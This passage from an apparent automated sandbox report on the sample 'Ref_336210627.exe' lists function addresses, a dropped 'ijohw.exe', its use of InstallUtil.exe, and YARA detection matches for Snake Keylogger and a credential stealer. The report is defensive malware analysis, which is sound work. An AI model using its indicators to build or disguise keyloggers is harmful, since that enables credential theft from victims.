Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658EF1A	0_2_0658EF1A
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658EF28	0_2_0658EF28
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658AF97	0_2_0658AF97
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658FC08	0_2_0658FC08
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658D0A9	0_2_0658D0A9
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658DD40	0_2_0658DD40
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658DD30	0_2_0658DD30
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658DDDE	0_2_0658DDDE
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658E5C2	0_2_0658E5C2
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658C590	0_2_0658C590
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0658DDBA	0_2_0658DDBA
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066CF8A0	0_2_066CF8A0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066CC1F0	0_2_066CC1F0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C819A	0_2_066C819A
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C8FE8	0_2_066C8FE8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C8FD8	0_2_066C8FD8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066CD408	0_2_066CD408
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066CC527	0_2_066CC527
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C0040	0_2_066C0040
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C0023	0_2_066C0023
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C81CC	0_2_066C81CC
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06730040	0_2_06730040
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06730007	0_2_06730007
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_0699CD10	0_2_0699CD10
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_064D0001	0_2_064D0001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CC6120	1_2_00CC6120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CCC489	1_2_00CCC489
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CC3581	1_2_00CC3581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CCB50D	1_2_00CCB50D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CC46D9	1_2_00CC46D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CCB7F1	1_2_00CCB7F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CCC771	1_2_00CCC771
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CC6898	1_2_00CC6898
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CCBAC0	1_2_00CCBAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CCCA41	1_2_00CCCA41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CCBDA0	1_2_00CCBDA0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB22F2	3_2_00EB22F2
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB0A58	3_2_00EB0A58
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB8C48	3_2_00EB8C48
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB0D18	3_2_00EB0D18
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EBD1D8	3_2_00EBD1D8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB169E	3_2_00EB169E
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB1FE0	3_2_00EB1FE0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB2081	3_2_00EB2081
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB8C42	3_2_00EB8C42
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB0DD9	3_2_00EB0DD9
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB0D62	3_2_00EB0D62
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB12D4	3_2_00EB12D4
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB9670	3_2_00EB9670
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_00EB179D	3_2_00EB179D
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CCBCE0	3_2_05CCBCE0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CC142C	3_2_05CC142C
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CC0040	3_2_05CC0040
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CCBCD0	3_2_05CCBCD0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CCA8C0	3_2_05CCA8C0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CCA8D0	3_2_05CCA8D0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CC0019	3_2_05CC0019
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CC5398	3_2_05CC5398
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CC53A8	3_2_05CC53A8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFE5D0	3_2_05CFE5D0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFDD40	3_2_05CFDD40
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CF4958	3_2_05CF4958
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFD0B8	3_2_05CFD0B8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFFC18	3_2_05CFFC18
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFAFA8	3_2_05CFAFA8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFE5C2	3_2_05CFE5C2
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFDDDE	3_2_05CFDDDE
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFC590	3_2_05CFC590
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFDDBA	3_2_05CFDDBA
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFDD30	3_2_05CFDD30
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFD0A9	3_2_05CFD0A9
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFFC08	3_2_05CFFC08
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFAF97	3_2_05CFAF97
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFEF1A	3_2_05CFEF1A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFEF28	3_2_05CFEF28
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CFE215	3_2_05CFE215
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DEB820	3_2_05DEB820
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE3270	3_2_05DE3270
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE4D8D	3_2_05DE4D8D
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE4C50	3_2_05DE4C50
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE4C60	3_2_05DE4C60
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DEA859	3_2_05DEA859
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DEA868	3_2_05DEA868
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DEB810	3_2_05DEB810
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DEBAF7	3_2_05DEBAF7
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE3261	3_2_05DE3261
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E3C1F0	3_2_05E3C1F0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E3819A	3_2_05E3819A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E3F8A0	3_2_05E3F8A0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E3C527	3_2_05E3C527
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E3D408	3_2_05E3D408
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E38FE8	3_2_05E38FE8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E38FD8	3_2_05E38FD8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E381CC	3_2_05E381CC
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E30040	3_2_05E30040
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E30007	3_2_05E30007
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05EA0040	3_2_05EA0040
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05EA0031	3_2_05EA0031
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_0610CD10	3_2_0610CD10
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_014122F2	9_2_014122F2
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01410A58	9_2_01410A58
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01410D18	9_2_01410D18
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01418C48	9_2_01418C48
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0141D1D8	9_2_0141D1D8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0141169E	9_2_0141169E
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01411FE0	9_2_01411FE0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01412081	9_2_01412081
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01410D62	9_2_01410D62
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01410DD9	9_2_01410DD9
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01418C3B	9_2_01418C3B
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_014193FC	9_2_014193FC
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01419385	9_2_01419385
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01419265	9_2_01419265
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_014112D4	9_2_014112D4
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0141179D	9_2_0141179D
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_01419670	9_2_01419670
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0653142C	9_2_0653142C
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0653BCE0	9_2_0653BCE0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06530040	9_2_06530040
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0653BCD0	9_2_0653BCD0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06535398	9_2_06535398
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065353A8	9_2_065353A8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06530006	9_2_06530006
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0653A8D0	9_2_0653A8D0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0653A8C0	9_2_0653A8C0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06564718	9_2_06564718
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656E7E2	9_2_0656E7E2
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656AFA8	9_2_0656AFA8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656FC18	9_2_0656FC18
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656D0B8	9_2_0656D0B8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656DD40	9_2_0656DD40
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656E5D0	9_2_0656E5D0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656E215	9_2_0656E215
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656EF1A	9_2_0656EF1A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656EF28	9_2_0656EF28
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656AF97	9_2_0656AF97
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656FC08	9_2_0656FC08
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656D0A9	9_2_0656D0A9
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656DD30	9_2_0656DD30
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656DDDE	9_2_0656DDDE
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656E5C2	9_2_0656E5C2
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656C590	9_2_0656C590
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0656DDBA	9_2_0656DDBA
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F3270	9_2_065F3270
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065FB820	9_2_065FB820
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F4C50	9_2_065F4C50
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F4C60	9_2_065F4C60
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F4D8D	9_2_065F4D8D
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F3261	9_2_065F3261
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065FBAF7	9_2_065FBAF7
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065FA85A	9_2_065FA85A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065FA868	9_2_065FA868
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065FB810	9_2_065FB810
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06610040	9_2_06610040
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06610016	9_2_06610016
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066BF8A0	9_2_066BF8A0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066BC1F0	9_2_066BC1F0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066B819A	9_2_066B819A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066B8FE8	9_2_066B8FE8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066B8FD8	9_2_066B8FD8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066BD408	9_2_066BD408
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066BC527	9_2_066BC527
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066B0040	9_2_066B0040
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066B0006	9_2_066B0006
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_066B81CC	9_2_066B81CC
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_0697CD10	9_2_0697CD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CB328	10_2_022CB328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022C6108	10_2_022C6108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CC192	10_2_022CC192
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022C6730	10_2_022C6730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CC752	10_2_022CC752
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CC470	10_2_022CC470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022C9540	10_2_022C9540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CCA32	10_2_022CCA32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022C4AD9	10_2_022C4AD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CBBD2	10_2_022CBBD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CBEB2	10_2_022CBEB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022CB4F2	10_2_022CB4F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_022C3572	10_2_022C3572
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CC190	11_2_018CC190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018C6108	11_2_018C6108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CB4A0	11_2_018CB4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CC470	11_2_018CC470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018C6730	11_2_018C6730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CC751	11_2_018CC751
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018C9858	11_2_018C9858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CBBD3	11_2_018CBBD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018C4AD9	11_2_018C4AD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CCA31	11_2_018CCA31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CBEB0	11_2_018CBEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018C3570	11_2_018C3570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_018CB4F3	11_2_018CB4F3

Source: Ref_336210627.exe

Static PE information: invalid certificate

Source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1790161541.00000000032E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1788694534.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1790161541.0000000003708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGpsgfzjcr.dll" vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1809223366.0000000006250000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameGpsgfzjcr.dll" vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGpsgfzjcr.dll" vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1811785668.0000000006740000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Ref_336210627.exe
Source: Ref_336210627.exe, 00000000.00000002.1804561635.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Ref_336210627.exe

Source: Ref_336210627.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
